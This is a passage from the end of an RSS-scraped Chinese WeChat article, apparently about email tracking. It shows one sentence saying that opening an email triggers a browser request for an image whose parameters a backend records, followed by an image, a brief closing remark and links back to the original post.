255);">二、当目标出网的情况下，点击邮件浏览器发出HTTP请求图片，后端处理前端发送过来的参数并进行展示。</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="1080" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.23148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=993862b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369byqczvK8H3ozxyEC1MpqFjOiaGUJhAb2JmhBIibZEEQW0Ard761CO9Jw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;white-space: normal;box-sizing: border-box;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">结语</span></h4><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">就说到这里～ 如果有意向可以一起交流。</p><p><br/></p>



<p><a href="2247484285">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fce7a7c0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484285%26idx%3D1%26sn%3D3b58ec2d26defcb1f0b4d44254338b43%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 09 Jul 2020 17:55:00 +0800</pubDate>
    </item>
  </channel>
</rss>